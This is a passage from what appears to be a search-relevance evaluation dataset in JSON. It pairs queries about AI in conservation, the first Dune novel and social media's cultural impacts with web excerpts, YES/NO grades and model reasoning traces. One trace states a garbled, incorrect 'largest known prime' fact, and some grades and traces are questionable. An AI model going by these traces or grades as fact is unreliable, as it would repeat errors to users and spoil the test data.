                "model_trace": "Query Decomposition:\n1. {Key considerations for developing a fair AI-powered hiring system}: The document discusses bias and discrimination in AI systems, which is relevant to developing a fair AI-powered hiring system -> ([1], SATISFIED)\n2. {Key considerations for developing an ethical AI-powered hiring system}: The document covers ethical considerations such as bias, discrimination, transparency, and accountability in AI systems, which are relevant to ethical AI-powered hiring systems -> ([1], SATISFIED)\n\nAssessment: The document addresses both key considerations for developing a fair and ethical AI-powered hiring system by discussing issues of bias, discrimination, transparency, and accountability in AI. YES"
            }
        ]
    },
    {
        "query": "What are the latest developments in using AI for wildlife conservation and habitat preservation?",
        "grid_pos": [
            1,
            0
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Paper/Journal/Publication",
        "reasoning_trace": [
            "These queries cover a range of topics that require a deep understanding of the internet, technology, and the world to answer well. They are specific and detailed, yet open-ended enough to test Exa's capabilities as a smart search engine. The queries touch on areas like AI, social media, ethics, consumer behavior, and data visualization - all of which are relevant and important topics that people frequently search for information on. Answering these queries well would require synthesizing information from multiple sources, understanding nuanced concepts, and drawing insights that go beyond simple factual retrieval."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "Improving biodiversity protection through artificial intelligence - Nature Sustainability",
                "url": "https://www.nature.com/articles/s41893-022-00851-6",
                "published_date": "2022-03-24",
                "text": "Main Biodiversity is the variety of all life on Earth, from genes to populations, species, functions and ecosystems. Alongside its own intrinsic value and ecological roles, biodiversity provides us with clean water, pollination services, building materials, clothing, food and medicine, among many other physical and cultural contributions that species make to ecosystem services and people\u2019s lives 1,2 . The contradiction is that our endeavours to maximize short-term benefits have become unsustainable, depleting biodiversity and threatening the life-sustaining foundations of humanity in the long term 3 (Supplementary Box 1). This can help explain why, despite the risks, we are living in an age of mass extinction 4,5 . The imperative to feed and house rapidly growing human populations, with an estimated 2.4 billion more people by 2050, together with increasing disruptions from climate change, will put tremendous pressure on the world\u2019s last remaining native ecosystems and the species they contain. Because not a single one of the 20 Aichi Biodiversity Targets agreed by 196 nations for the period 2011\u20132020 has been fully met 6 , there is now an urgent need to design more realistic and effective policies for a sustainable future 7 that help deliver the conservation targets under the post-2020 Global Biodiversity Framework, the focus of the 15th Conference of the Parties in 2022. There have been several theoretical and practical frameworks underlying biological conservation 8 since the 1960s. The field was initially focused on the conservation of nature for itself, without human interference, but gradually incorporated the bidirectional links to people, recognizing our ubiquitous influence on nature and the multifaceted contributions we derive from it, including the sustainable use of species 1,8,9 . Throughout this progress, a critical step has been the identification of priority areas for targeted protection, restoration planning, impact avoidance and loss minimization, triggering the development of the fields of spati",
                "model_trace": "Query Decomposition:\n1. {latest developments in using AI}: The document does not directly mention AI or its latest developments -> ([0], UNSURE)\n2. {wildlife conservation}: The document discusses biodiversity protection, which is closely related to wildlife conservation -> ([2], SATISFIED)\n3. {habitat preservation}: The document also covers topics related to habitat preservation, such as restoration planning and impact avoidance -> ([2], SATISFIED)\n\nAssessment: The relevant subcomponents are {wildlife conservation} and {habitat preservation}. While these are satisfied, the document does not address the specific use of AI in these areas. Therefore, it does not fully meet the user's query about the latest developments in using AI for wildlife conservation and habitat preservation. NO."
            },
            {
                "grade": "YES",
                "title": "Empowering Wildlife Guardians: An Equitable Digital Stewardship and Reward System for Biodiversity Conservation using Deep Learning and 3/4G Camera Traps",
                "url": "https://arxiv.org/abs/2304.12703",
                "published_date": "2023-04-25",
                "text": "Liverpool John Moores University\nByrom StreetLiverpoolUnited Kingdom\n\nGap Africa Projects\nPO Box 198ChessingtonUnited Kingdom\n\nWelgevonden Game Reserve\nPO Box 433VaalwaterSouth Africa\n\nBorneo Futures, PGGMB Building\nJalan Kianggeh, Bandar Seri Begawan BS8111Brunei Darussalam\n\nArtificial Intelligence Centre\nCzech Technical University\n166 36 Prague 6, Czechia\n10.3390/1010000Received: Accepted: Published:\nCitation: Fergus, P.; Chalmers, C.; Longmore, S.; Wich, S.; Warmenhove, C.; Swart, J.; Ngongwane, T.; Burger, A.; Ledgard, J.; Meijaard, E.; Title. Journal Not Specified 2022, 1, 0. https://doi.org/\n\nIntroduction\n\nOur planet is a diverse and complex ecosystem that is home to approximately 8.7 million unique species [1]. The United Nations Sustainable Development Goals report revealed that one million of these species will become extinct within decades [2]. While the situation is critical, the report emphasises that we can still make a difference if we coordinate efforts at a local and global level. Humans have played a major role in every mammal extinction that has occurred over the last 126,000 years [3]. This is due to hunting, overharvesting, the introduction of invasive species, pollution, and the conversion of land for crop harvesting and urban construction [4]. The illegal wildlife trade, fuelled by the promotion of medicinal myths and the desire for luxury items, has also become a significant contributor to the decline in biodiversity [5], [6]. According to the United Nations Environment Programme, the illegal wildlife trade is estimated to have an annual value of US$8.5 billion [7], [8]. The white rhinoceros commands the highest price at US$368,000, with the tiger close behind at US$350,193 [9]. Animal body parts, which are highly sought-after, such as rhinoceros horns, can fetch up to US$65,000 per kilogram, making them more valuable than gold, heroin, or cocaine [10]. Pangolins are the most trafficked mammal in the world and although the value of their scales is significantly less than rhinoceros horn (be",
                "model_trace": "Query Decomposition:\n1. {latest developments in using AI}: The document discusses the use of deep learning and AI technologies -> ([1], SATISFIED)\n2. {wildlife conservation and habitat preservation}: The document is about a digital stewardship system for biodiversity conservation, which falls under wildlife conservation and habitat preservation -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents as it discusses the use of AI (deep learning) in the context of wildlife conservation. YES."
            },
            {
                "grade": "YES",
                "title": "How AI Facial Recognition Is Helping Conserve Pumas",
                "url": "https://www.scientificamerican.com/podcast/episode/how-ai-facial-recognition-is-helping-conserve-pumas/",
                "published_date": "2022-06-24",
                "text": "Headshot of a puma (Puma concolor), also called a cougar, looking at the camera. Credit: Daniel Hernanz Ramos/Getty Images Researchers tricked out conventional camera traps to snap headshots of Puma concolor, revealing a better way to track the elusive species.\n INTRO: This is Scientific American\u2019s 60-Second Science. I'm Ashleigh Papp.\n Papp: Mountain lions are now posing for their close ups. Researchers based in the greater Yellowstone National Park area have figured out a new way to identify these cats by using facial recognition. And this method is proving to be a better way to monitor these highly elusive creatures.\n Alexander: Mountain lions are just really, really hard to directly observe. They're just so cryptic and secretive. And so we've had to find these non-invasive methods, they're often called to, to get information about a mountain lion population.\n Papp: That\u2019s Peter Alexander, a research biologist based in Kelly, Wyoming, who led the research project.\nOne tool that researchers like Alexander are using is a camera trap. The traps, which are about the size of a shoe box or even a coffee cup, are attached to something that's along the animal's regular path, like a tree that the puma has territorially scraped. \nWhen motion is detected, the trap gets triggered, resulting in a snapshot of the mountain lion as it strolls by. The cameras even have an infrared flash so that nighttime photos are captured without disturbing the animal.\nResearchers around the world use this type of tool to estimate population numbers and overall abundance of species. They comb through the images, sometimes using machine learning algorithms, and analyze them to identify individuals. But according to Alexander, there's a problem with this method when it comes to ID'ing mountain lions:\n Alexander: Tigers that's kind of the classic example of using cameras for individual identity. Because those stripes, they're like a fingerprint. (10:17) And so a cougar, they do not have any of those really conspicuous stripes on their sides. An",
                "model_trace": "Query Decomposition:\n1. {latest developments in using AI}: This document discusses the use of AI, specifically facial recognition, in wildlife conservation -> ([1], SATISFIED)\n2. {wildlife conservation and habitat preservation}: The document focuses on wildlife conservation, particularly for pumas, but does not explicitly mention habitat preservation -> ([2], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents relevant to the query. It provides information on the latest AI developments in wildlife conservation, specifically through the use of facial recognition technology for monitoring pumas. YES."
            },
            {
                "grade": "YES",
                "title": "AI in Wildlife Conservation Using Technology to Protect ...",
                "url": "https://www.linkedin.com/pulse/ai-wildlife-conservation-using-technology-protect-endangered-bajaj-6kaac",
                "published_date": null,
                "text": "Mr.Ratan Bajaj\n      \n      \n          \n          \n          \n            \n        Mr.Ratan Bajaj\n      \n          \n          \n            \n              \n            Founder and CEO at MindWell Al\n                \n            \n              \n                \n          Published Apr 4, 2024\n      \n              \n        \n          \n      \n    \n      \n      \n      \n            \n                \n    \n          The fight to protect endangered species is a constant struggle. Habitat loss, poaching, and climate change threaten countless creatures across the globe. However, a powerful new weapon is emerging in the conservation arsenal: Artificial Intelligence (AI). By leveraging AI's analytical prowess and automation capabilities, wildlife conservationists are gaining a significant edge in protecting vulnerable animal populations.\n        \n  \n                \n    \n          The Challenges of Conservation\n        \n  \n                \n    \n          Wildlife conservation efforts face several significant hurdles:\n        \n  \n                \n    \n        \n        \n     Vast Areas, Limited Resources:  Wildlife conservation often involves monitoring sprawling landscapes or vast stretches of ocean. Rangers face immense challenges in patrolling these areas effectively due to limited manpower and resources. \n     Data Overload:  Conservation efforts generate a wealth of data, from camera trap images to animal tracking information. Manually analyzing this data can be a time-consuming and laborious task, hindering timely decision-making. \n     Poaching and Illegal Activities:  Poaching remains a significant threat to endangered species. Traditional methods of patrolling are often inadequate to deter poachers effectively. \n      \n  \n        \n    \n  \n                \n    \n          AI to the Rescue: Innovative Solutions\n        \n  \n                \n    \n          AI is being employed in various ways to address these challenges and revolutionize wildlife conservation:\n        \n  \n                \n    \n        \n        \n     Automat",
                "model_trace": "Query Decomposition:\n1. {latest developments in using AI}: The document discusses the use of AI in wildlife conservation, which is relevant to developments in AI -> ([1], SATISFIED)\n2. {wildlife conservation and habitat preservation}: The document explicitly mentions wildlife conservation and the challenges faced, which includes habitat preservation -> ([1], SATISFIED)\n\nAssessment: The document discusses how AI is being employed to address challenges in wildlife conservation and habitat preservation. Therefore, it satisfies both key subcomponents of the query. YES."
            },
            {
                "grade": "YES",
                "title": "How artificial intelligence buys valuable time to protect ...",
                "url": "https://www.worldwildlife.org/stories/how-artificial-intelligence-buys-valuable-time-to-protect-wildlife",
                "published_date": null,
                "text": "How artificial intelligence buys valuable time to protect wildlife\n \n \u00a9 WWF-Australia\nDate:\nMay 14, 2024\nAuthor:\nAbby Hehmeyer\nThere\u2019s an old adage that says we can\u2019t manage what we can\u2019t measure. And this rings especially true when it comes to conservation. Trying to measure biodiversity\u2014the variety of life in a given area\u2014is a critical part of WWF's conservation work. \nAfter the devastating bushfires that swept through Australia in 2020, 73,000 square miles\u2014about twice the area of Ohio\u2014burned, affecting an estimated 3 billion animals. Once the dust settled and the smoke cleared, WWF-US teamed up with colleagues from WWF-Australia and Google to initiate a wildlife monitoring project called Eyes on Recovery. The idea was to set up a network of cameras that would serve as our eyes in the bush. My colleagues and I were determined to measure how Australia's unique and endangered wildlife were recovering from the destruction.\nIn 2023 I traveled to Blue Mountains National Park in Eastern Australia. For a week I hiked with Dr. Emma Spencer, a program coordinator with WWF-Australia, over the burnt landscape and wrapped our arms around the trees, turned jet-black in the fires, to secure cameras around their trunks. \nWWF and 20 other organizations set up more than 1,000 cameras across the landscape. And next came the waiting. What would we capture through the cameras? \n \u00a9 WWF-US / Emma Spencer\nCamera traps lead to lots of data\nCamera traps are one of the primary tools we use to collect data on biodiversity. We are all familiar with the powerful images of wildlife that camera traps can capture. But what you may not realize is that behind every one of those beautiful photos, we also collect thousands of photos without any animals at all. As technology improves, our camera sensors get faster, the memory cards get larger and the batteries last longer, meaning the amount of data we can generate has become enormous. However, in many projects, up to 90% of the images captured are false triggers\u2014\u201cblank\u201d images of grass blowing or",
                "model_trace": "Query Decomposition:\n1. {latest developments in using AI}: The document discusses the use of artificial intelligence in a current wildlife monitoring project, so it addresses this subcomponent -> ([1], SATISFIED)\n2. {wildlife conservation}: The document is focused on wildlife conservation efforts by WWF, so it meets this subcomponent -> ([1], SATISFIED)\n3. {habitat preservation}: The document discusses efforts to measure and monitor wildlife recovery after bushfires, which is related to habitat preservation -> ([2], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents related to the query. YES"
            },
            {
                "grade": "YES",
                "title": "AI in Wildlife Conservation: A Comprehensive Overview - saiwa",
                "url": "https://saiwa.ai/blog/ai-in-wildlife-conservation/",
                "published_date": null,
                "text": "For centuries, technology has been crucial to protecting endangered species and responding to emerging wildlife threats. Today, wildlife conservationists are increasingly harnessing the power of artificial intelligence, which allows for greater accuracy and efficiency through recent advancements. Researchers can use AI in wildlife conservation to determine animal locations, sightings' dates and times, migration patterns, population dynamics, and even social environments. Artificial intelligence is utilized by conservationists to monitor and safeguard animals in their natural habitats, aiding in the preservation of threatened species.\u00a0 By observing these organisms, the rangers can prevent harm resulting from natural calamities like wildfires and floods, as well as unlawful activities such as poaching. To ensure precise forecasts, devices, applications, and analytical or monitoring systems equipped with artificial intelligence are employed. Wildlife Conservation: Safeguarding Biodiversity Through AI   Wildlife conservation is a proactive and organized work to maintain and preserve our planet's many reasons ecosystems and species. The preservation of biodiversity is fundamentally concerned with maintaining nature's delicate balance by safeguarding environments, preventing species extinction, and fostering sustainable relationships between wildlife and people. Wildlife protection plays an essential role in our environment's wellness and future human well-being. Technology breakthroughs have completely changed the way we approach conservation efforts in the field of AI in wildlife conservation. With the use of machine learning algorithms, artificial intelligence (AI) systems have become indispensable instruments in our fight to track, examine, and safeguard wildlife populations and their habitats. Conservationists may collect enormous volumes of data from hard-to-reach locations and inaccessible terrain by utilizing AI, giving them previously unheard-of insights into the dynamics of ecosystems and the behavior of wild",
                "model_trace": "Query Decomposition:\n1. {latest developments in using AI}: The document discusses recent advancements and the current use of AI in wildlife conservation -> ([1], SATISFIED)\n2. {wildlife conservation}: The document specifically addresses the use of AI in wildlife conservation -> ([1], SATISFIED)\n3. {habitat preservation}: The document mentions monitoring and safeguarding animals in their natural habitats, which implies habitat preservation -> ([2], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents relevant to the query. YES"
            }
        ]
    },
    {
        "query": "What is the title of the first book in the Dune series written by Frank Herbert?",
        "grid_pos": [
            0,
            9
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Fact/Trivia/Knowledge",
        "reasoning_trace": [
            "1. The naturally occurring isotope of radium with the longest half-life is Ra-226, with a half-life of 1,600 years. The chemical formula for radium is Ra.\n\n2. The largest known prime number discovered as of 2023 is 274,207,281-1, also known as the 50th Mersenne prime.\n\n3. The first book in the Dune series written by Frank Herbert is titled \"Dune\".\n\n4. The planet in our solar system with the highest average wind speeds is Neptune, with wind speeds reaching up to 2,100 km/h.\n\n5. The common name for the chemical element with atomic number 79 is gold."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "Los Angeles Public Library : Dune by Herbert, Frank",
                "url": "https://ls2pac.lapl.org/?section=resource&resourceid=37854615&currentIndex=5&view=fullDetailsDetailsTab",
                "published_date": "2005-01-01",
                "text": "Log in with either your Library Card Number or EZ Login\n\nLibrary ID (No Spaces!) or EZ Username PIN (default is last 4 of phone, unless manually changed) or EZ Password\n Remember Me (lasts for 2 weeks, or until you log out)",
                "model_trace": "Query Decomposition:\n1. {title of the first book}: The query is asking for the title of the first book in the Dune series.\n2. {written by Frank Herbert}: The query specifies the author of the book series.\n\nEvaluation:\n1. {title of the first book}: The document does not contain the title of the first book in the Dune series -> ([0], UNSATISFIED)\n2. {written by Frank Herbert}: The document is related to a book by Frank Herbert, but it does not provide the title -> ([2], UNSURE)\n\nAssessment: The document does not provide the title of the first book in the Dune series, which is the critical information needed to satisfy the query. Therefore, it is not helpful for the user's request. NO."
            },
            {
                "grade": "YES",
                "title": "Dune (Dune #1)",
                "url": "https://www.goodreads.com/book/show/234225.Dune",
                "published_date": "2021-09-15",
                "text": "Author 1 book1,592 followers June 29, 2018 In my head, the purpose of this review is very clear. It is to convince YOU to read this book. Yes, you! Waste time no more. Go grab a copy.Machiavellian intrigue, mythology, religion, politics, imperialism, environmentalism, the nature of power. All this set in a mind-boggling, frighteningly original world which Herbert ominously terms as an \"effort at prediction\". Dune had me hooked! First impression The very first stirring I felt upon opening the yellowed pages of Dune was that of stumbling upon an English translation of an ancient Arabic manuscript of undeniable power and potence which had an epic story to narrate. The tone was umistakably sombre and I realized Herbert was not here to merely entertain me, he was here to make me part of the legend of Muad'Dib. It was intriguing and challenging and heck, since I live for challenges I decided to take this one up too, gladly. The challenge was the complexity and depth of the plot, which left me perplexed, in the beginning. I knew there were dialogues which meant much more than their superficial meaning and was unable to grasp at it. I felt a yawning chasm between Herbert's vision and my limited understanding of it. However, of course, I plodded on and could feel the gap closing in with every page much to my joy and relief. The Foreword \"To the people whose labours go beyond ideas into the realm of 'real materials'- to the dry-land ecologists, wherever they may be, in whatever time they work, this effort at prediction is dedicated in humility and admiration.\" The foreword makes it pretty clear that Frank Herbert isn't kidding around. This is a serious effort at predicting how our world is going to look two thousand years from now and by God, it's a bloody good and detailed prediction. However, the real merit in this effort lies in the commentary on our lives in the present. Why Frank Herbert is a genius The setting of the book is arid futuristic. the plot is driven by political mind games reminiscent of The Game of Throne",
                "model_trace": "Query Decomposition:\n1. {title of the first book in the Dune series}: The document's title is \"Dune (Dune #1)\" and the content discusses the book \"Dune\" by Frank Herbert, indicating it is the first book in the series -> ([1], SATISFIED)\n2. {written by Frank Herbert}: The document content explicitly mentions Frank Herbert as the author of \"Dune\" -> ([1], SATISFIED)\n\nAssessment: Both key subcomponents are satisfied. The document clearly states that \"Dune\" is the first book in the Dune series and is written by Frank Herbert. YES."
            },
            {
                "grade": "YES",
                "title": "Dune (Dune, #1)",
                "url": "https://www.goodreads.com/book/show/44767458-dune",
                "published_date": "2021-09-15",
                "text": "Author 1 book1,622 followers June 29, 2018 In my head, the purpose of this review is very clear. It is to convince YOU to read this book. Yes, you! Waste time no more. Go grab a copy.Machiavellian intrigue, mythology, religion, politics, imperialism, environmentalism, the nature of power. All this set in a mind-boggling, frighteningly original world which Herbert ominously terms as an \"effort at prediction\". Dune had me hooked! First impression The very first stirring I felt upon opening the yellowed pages of Dune was that of stumbling upon an English translation of an ancient Arabic manuscript of undeniable power and potence which had an epic story to narrate. The tone was umistakably sombre and I realized Herbert was not here to merely entertain me, he was here to make me part of the legend of Muad'Dib. It was intriguing and challenging and heck, since I live for challenges I decided to take this one up too, gladly. The challenge was the complexity and depth of the plot, which left me perplexed, in the beginning. I knew there were dialogues which meant much more than their superficial meaning and was unable to grasp at it. I felt a yawning chasm between Herbert's vision and my limited understanding of it. However, of course, I plodded on and could feel the gap closing in with every page much to my joy and relief. The Foreword \"To the people whose labours go beyond ideas into the realm of 'real materials'- to the dry-land ecologists, wherever they may be, in whatever time they work, this effort at prediction is dedicated in humility and admiration.\" The foreword makes it pretty clear that Frank Herbert isn't kidding around. This is a serious effort at predicting how our world is going to look two thousand years from now and by God, it's a bloody good and detailed prediction. However, the real merit in this effort lies in the commentary on our lives in the present. Why Frank Herbert is a genius The setting of the book is arid futuristic. the plot is driven by political mind games reminiscent of The Game of Throne",
                "model_trace": "Query Decomposition:\n1. {Title of the first book in the Dune series}: The document's title is \"Dune (Dune, #1)\" which directly indicates that \"Dune\" is the first book in the series -> ([1], SATISFIED)\n2. {Written by Frank Herbert}: The document content discusses Frank Herbert's work, indicating that he is the author of \"Dune\" -> ([1], SATISFIED)\n\nAssessment: Both subcomponents are clearly satisfied by the document. YES"
            },
            {
                "grade": "YES",
                "title": "'Dune' Books in Order: How to Read All 26 Novels ...",
                "url": "https://www.esquire.com/entertainment/books/g38012512/dune-books-in-order/",
                "published_date": null,
                "text": "Every product was carefully curated by an Esquire editor. We may earn a commission from these links.    Advertisement - Continue Reading Below     1 Ace Dune, by Frank Herbert            1 Ace Dune, by Frank Herbert  Now 33% Off    Dune is set far into the future, in an intergalactic feudal society where powerful noble houses fight for control over resources, armies, and planetary power. House Atreides is ordered to take control of Arrakis, a barren desert planet with a brutal climate. Arrakis is the only place to mine melange, a natural resource that produces a psychoactive drug called spice, which allows humanity to unlock their minds. On Arrakis, House Atreides is betrayed by rival House Harkonnen, which sets off a battle over the valuable planet. The planet itself is inhabited by giant sandworms and a native population known as Fremen, who, over the generations, have learned to survive with water as their most precious resource and currency. When House Atreides scion Paul is targeted as a potential messiah to lead the planet\u2014and galaxy\u2014toward a new era, an epic story of war, betrayal, and mysticism unfolds.     2 Ace Dune Messiah, by Frank Herbert            2 Ace Dune Messiah, by Frank Herbert  Now 10% Off   In Herbert's first sequel, Paul Atreides, now known as Muad'Dib, rules the known universe as the most powerful emperor of all time. Worshipped as a messiah by the people of Arrakis, Paul faces enmity from the warring political houses under his control. Is any one ruler meant to have such absolute power? In Dune: Messiah, Herbert unmakes his previous novel, all while warning, \"No more terrible disaster could befall your people than for them to fall into the hands of a hero.\"     3 Ace Children of Dune, by Frank Herbert            3 Ace Children of Dune, by Frank Herbert  Now 44% Off    Children of Dune picks up with Leto and Ghanima Atreides, the twin children of Paul Atreides, nine years after their father's mysterious disappearance into the wastelands of Arrakis. The twins' prophetic abilities are covet",
                "model_trace": "Query Decomposition:\n1. {Title of the first book in the Dune series}: The query is asking for the title of the first book in the Dune series by Frank Herbert -> ([1], SATISFIED)\n\nAssessment: The document mentions \"Dune, by Frank Herbert\" as the first book in the series. This directly answers the query. YES."
            },
            {
                "grade": "YES",
                "title": "Dune (novel)",
                "url": "https://en.wikipedia.org/wiki/Dune_(novel)",
                "published_date": null,
                "text": "This article is about the 1965 novel. For the related franchise, see Dune (franchise).\n Dune       First edition cover    Author  Frank Herbert    Cover\u00a0artist  John Schoenherr    Country United States   Language English   Series   Dune series    Genre  Science fiction  [1]     Published August 1965   Publisher  Chilton Books    Media\u00a0type Print (hardcover &amp; paperback)   Pages 412   Followed\u00a0by   Dune Messiah\u00a0    \n  Dune  is a 1965 epic science fiction novel by American author Frank Herbert, originally published as two separate serials in  Analog  magazine. It tied with Roger Zelazny's  This Immortal  for the Hugo Award in 1966 and it won the inaugural Nebula Award for Best Novel. It is the first installment of the  Dune saga. In 2003, it was described as the world's best-selling science fiction novel.\n  Dune is set in the distant future amidst a feudal interstellar society in which various noble houses control planetary fiefs. It tells the story of young Paul Atreides, whose family accepts the stewardship of the planet Arrakis. While the planet is an inhospitable and sparsely populated desert wasteland, it is the only source of melange, or \"spice\", a drug that extends life and enhances mental abilities. Melange is also necessary for space navigation, which requires a kind of multidimensional awareness and foresight that only the drug provides. As melange can only be produced on Arrakis, control of the planet is a coveted and dangerous undertaking. The story explores the multilayered interactions of politics, religion, ecology, technology, and human emotion, as the factions of the empire confront each other in a struggle for the control of Arrakis and its spice.\n Herbert wrote five sequels:  Dune Messiah ,  Children of Dune ,  God Emperor of Dune ,  Heretics of Dune , and  Chapterhouse: Dune . Following Herbert's death in 1986, his son Brian Herbert and author Kevin J. Anderson continued the series in over a dozen additional novels since 1999.\n Adaptations of the novel to cinema have been notoriously difficul",
                "model_trace": "Query Decomposition:\n1. {title of the first book in the Dune series}: The document is about the novel \"Dune\" and provides detailed information about it -> ([1], SATISFIED)\n2. {written by Frank Herbert}: The document clearly states that \"Dune\" is a novel by Frank Herbert -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents, providing the title of the first book in the Dune series and confirming it is written by Frank Herbert. YES."
            },
            {
                "grade": "NO",
                "title": "Complete Dune Series Set ( 6 Books ) Dune; Dune Messiah",
                "url": "https://www.amazon.com/Complete-Messiah-Children-Heretics-Chapterhouse/dp/B07WDM3D5T",
                "published_date": null,
                "text": "Reviews with images           IF YOU'RE CONCERNED ABOUT MISMATCHING SETS and/or want the complete set in the larger size...  If you're confused by the reviews and are concerned about getting a matching set, this review is for you. I'll start by specifying that my review is for the regular set of unboxed books, NOT the boxed set, of the NEWEST edition of these books by Ace publishing (with the covers as seen in the image gallery).Despite having separate product listings, both the unboxed AND boxed set have the exact same reviews. This is why some reviews say they got a mismatched set, while newer reviews say they got a matching set. That, coupled with the fact that people may have ordered from different sellers, leads to some chaos in the review pool and uncertainty on the part of prospective buyers.I purchased the unboxed set twice, one from Prime ($62) and one from an independent seller ($52 including S/H). Before that I purchased the first three books separately, and received the first Dune book in a larger size and the others in a narrower size. After that first purchase, I went looking for a matching set of the LARGER size books, since I prefered the feel of it. I learned that apparently the larger size first book is what a lot of people had when they tried to purchase the sequels, which then often came in the narrow size. Here's what's going on with that:If you have the larger-size Dune book(s) you have the TRADE PAPERBACK version. If you have the smaller size Dune book(s), you actually have the *NEW* MASS MARKET PAPERBACK edition. For convenience, I will use NMM = New Mass Market and OMM = Old Mass Market for the rest of the review.It seems for the unboxed set, when you select \"Paperback\" you tend to receive the NMM set despite there being a separate \"Mass Market\" option. This was my experience\u2014I did indeed receive matching sets both times but they were not the Trade Paperbacks I was seeking.To add to this confusion, even individual listings of the NMM books also pitch the NMM as \"Paperback\" while the \"Mass",
                "model_trace": "Query Decomposition:\n1. {Title of the first book in the Dune series}: The user is looking for the specific title of the first book in the Dune series by Frank Herbert -> ([1], UNSATISFIED)\n\nAssessment: The document does not provide the specific title of the first book in the Dune series. It discusses different editions and sizes of the books in the series but does not directly answer the query. NO."
            }
        ]
    },
    {
        "query": "How do the societal impacts of social media vary across different cultures and demographics?",
        "grid_pos": [
            1,
            0
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Paper/Journal/Publication",
        "reasoning_trace": [
            "These queries cover a range of topics that require a deep understanding of the internet, technology, and the world to answer well. They are specific and detailed, yet open-ended enough to test Exa's capabilities as a smart search engine. The queries touch on areas like AI, social media, ethics, consumer behavior, and data visualization - all of which are relevant and important topics that people frequently search for information on. Answering these queries well would require synthesizing information from multiple sources, understanding nuanced concepts, and drawing insights that go beyond simple factual retrieval."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "Large differences in social media usage throughout the developed world",
                "url": "https://www.pewresearch.org/fact-tank/2017/04/20/not-everyone-in-advanced-economies-is-using-social-media/ft_17-04-19_socialmediaglobal_internet/",
                "published_date": "2017-04-20",
                "text": "Home Research Topics Internet & Technology Platforms & Services Social Media\n\nNot everyone in advanced economies is using social media\n\nPrev Page\n\nPage1 You are reading page2\n\nNext Page\n\nDownload Large differences in social media usage throughout the developed world\n\nEmbed\n\nShort Read Infographics\n\nNot everyone in advanced economies is using social media Young people much more likely than those 50 and older to use social media Large differences in social media usage throughout the developed world\n\n1615 L St. NW, Suite 800Washington, DC 20036USA\n (+1) 202-419-4300 | Main \n (+1) 202-857-8562 | Fax \n (+1) 202-419-4372 | Media Inquiries\n\nResearch Topics \n Politics & Policy International Affairs Immigration & Migration Race & Ethnicity Religion Generations & Age Gender & LGBTQ Family & Relationships Economy & Work Science Internet & Technology News Habits & Media Methodological Research Full topic list\n\nFollow Us\n\nEmail Newsletters\n Facebook\n Twitter\n Tumblr\n YouTube\n RSS\n\nAbout Pew Research Center Pew Research Center is a nonpartisan fact tank that informs the public about the issues, attitudes and trends shaping the world. It conducts public opinion polling, demographic research, media content analysis and other empirical social science research. Pew Research Center does not take policy positions. It is a subsidiary of The Pew Charitable Trusts.\n\nCopyright 2023 Pew Research Center\n About\n Terms & Conditions\n Privacy Policy\n Reprints, Permissions & Use Policy\n Feedback\n Careers",
                "model_trace": "Query Decomposition:\n1. {societal impacts of social media}: The document does not discuss the societal impacts of social media -> ([0], UNSURE)\n2. {variation across different cultures}: The document mentions differences in social media usage across advanced economies but does not explicitly discuss cultural impacts -> ([2], UNSURE)\n3. {variation across different demographics}: The document mentions that young people are much more likely than those 50 and older to use social media, which touches on demographic variation -> ([1], SATISFIED)\n\nAssessment: The document satisfies the subcomponent related to demographic variation but does not clearly address societal impacts or cultural variations. Therefore, it does not fully meet the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "3. Social network adoption varies widely by country",
                "url": "https://www.pewresearch.org/global/2018/06/19/3-social-network-adoption-varies-widely-by-country/",
                "published_date": "2018-06-19",
                "text": "Across 39 countries, a median of 53% say they use online social networking sites like Facebook or Twitter. However, that figure conceals large differences around the world, and the relationship between social media use and national wealth is not as strong as it is for overall internet use and smartphone ownership.\nFor example, the Middle East stands out for its relatively high levels of social media usage compared with other regions, despite the fact that only one country there, Israel, is an advanced economy. Across the five Middle Eastern and North African countries surveyed, a median of 68% say they use social networking sites. And across the seven Latin American countries surveyed, none of which is considered an advanced economy, 59% use social media, compared with 55% across the 10 European countries surveyed, all considered developed.\nSome large advanced economies also stand out for relatively low levels of social media use. In particular, in Germany (40%) and Japan (39%), about four-in-ten use social media \u2013 similar to the percentages in South Africa (43%) and Tunisia (38%).\nJust one-in-five adults in India and Tanzania use social networks, and all five sub-Saharan African countries surveyed report social media use below the global median.\n When looking at social media use among internet users, many countries with relatively limited internet use have seen their share of social media users skyrocket relative to advanced economies. In the Philippines, for example, while overall levels of social media use stand at about half of the population, among internet users, that figure is closer to nine-in-ten (88%). And in Jordan, an astounding 94% of internet users are also on social networking sites. Only 46% of internet users in Germany use social media, the lowest such measure among the countries surveyed.\nIn a few countries, social media adoption rose dramatically between 2015 and 2017. For example, only 49% of Lebanese adults used social media in 2015; in 2017 that number is 72%. Similarly, just two years ago o",
                "model_trace": "Query Decomposition:\n1. {societal impacts of social media}: The document does not specifically address the societal impacts of social media -> ([0], UNSURE)\n2. {vary across different cultures and demographics}: The document provides information on social media adoption rates across different countries and regions, which can be inferred to relate to different cultures and demographics -> ([2], SATISFIED)\n\nAssessment: The document does not directly address the societal impacts of social media, which is a critical component of the query. It does provide information on social media adoption across different cultures and demographics, but this alone is not sufficient to satisfy the query's intent. NO."
            },
            {
                "grade": "NO",
                "title": "Social Media Use Continues to Rise in Developing Countries but Plateaus Across Developed Ones",
                "url": "https://www.pewresearch.org/global/2018/06/19/social-media-use-continues-to-rise-in-developing-countries-but-plateaus-across-developed-ones/",
                "published_date": "2018-06-19",
